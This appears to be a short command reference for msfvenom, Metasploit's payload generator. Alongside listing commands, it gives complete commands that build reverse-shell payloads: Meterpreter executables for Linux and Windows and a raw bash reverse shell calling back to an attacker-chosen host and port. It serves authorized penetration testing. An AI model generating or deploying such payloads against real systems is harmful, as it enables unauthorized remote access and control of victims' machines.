Manually generate payloads for metasploit. More information: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom.
msfvenom -l payloads
msfvenom -l formats
msfvenom -p payload --list-options
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port -f elf -o path/to/binary
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=local_ip LPORT=local_port -f exe -o path/to/binary.exe
msfvenom -p cmd/unix/reverse_bash LHOST=local_ip LPORT=local_port -f raw